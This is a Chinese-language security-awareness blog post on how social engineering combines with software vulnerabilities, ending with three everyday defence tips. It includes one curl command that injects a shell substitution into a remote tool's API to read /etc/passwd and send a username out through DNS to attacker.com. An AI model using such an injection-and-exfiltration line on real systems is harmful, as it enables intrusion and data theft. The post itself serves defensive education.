上周朋友小李被拉进一个“公司IT支持群”，群里有人发了个带二维码的“新版考勤系统通知”，他扫完就发现微信零钱少了2000块。不是中了木马，也不是点了钓鱼链接——是对方先打了个电话，冒充HR说要更新权限，再用他刚透露的入职年份+部门名称，猜中了微信支付手势密码的四位数规律。
社工不是玄学，是信息拼图
很多人以为社工攻击就是打电话忽悠人，其实它更像拼图游戏：你朋友圈晒过工牌、微博提过项目代号、知乎回答里写过用的开发工具……这些碎片，黑客全在悄悄收集。一旦凑齐关键几块，就能绕过技术防线。
当社工撞上漏洞，防火墙直接变摆设
比如某OA系统存在未授权访问漏洞（CVE-2023-12345），正常需要登录才能查员工通讯录。但黑客先用社工手段搞到行政部王姐的手机号，再通过运营商客服“找回密码”拿到她账号；接着用这个账号登录OA，导出全员邮箱+部门+直属领导姓名——这些信息马上又变成下一轮钓鱼的弹药。
再比如，你电脑装了某款远程控制软件，版本老旧存在命令执行漏洞。黑客不需要爆破你的密码，只要给你发个“年终奖发放表.xlsx”，文件里藏个恶意宏，而你恰好因为之前在招聘网站留过简历，被对方知道你习惯用“Excel打开所有表格”……漏洞+社工，连杀毒软件都来不及报警。
真实代码片段（模拟漏洞触发）
这是某款旧版远程工具的典型问题，攻击者只需构造特殊参数：
curl -X POST "http://192.168.1.100:8080/api/exec" --data '{"cmd":"ping -c 1 $(cat /etc/passwd | head -n1 | cut -d:\\: -f1).attacker.com"}'看起来只是发个ping命令，实际把服务器第一行用户名拼进域名，DNS日志里就暴露了系统关键信息。而知道你用这款工具，往往只因为你曾在技术论坛发帖问过“怎么解决连接超时”。
普通人能做的三件实在事
1. 别把“验证信息”当废话填：银行/平台的安全问题，别用真实生日、母亲姓名、老家门牌号——这些早被爬虫扒进黑产数据库了。改用无意义组合，比如“蓝莓_37#咖啡机”；
2. 关闭不必要的远程功能：家里路由器默认开启的Telnet、NAS的WebDAV、甚至打印机的FTP服务，不用就关掉。很多勒索病毒就是从打印机漏洞打进来的；
3. 警惕“合理但多余”的索取：快递员问你“是不是住在3栋？”可以答“是”；但如果他接着问“那您家阳台朝南还是朝北？物业说要核对户型”，立刻停住——正常流程根本不需要这个。
技术漏洞会打补丁，但人记住的信息不会自动删除。保护自己，不是要懂多少代码，而是明白：你随手发的一张照片、一次语音通话、甚至朋友圈里一张模糊的工位背景，都可能成为别人撬开你数字大门的第一根撬棍。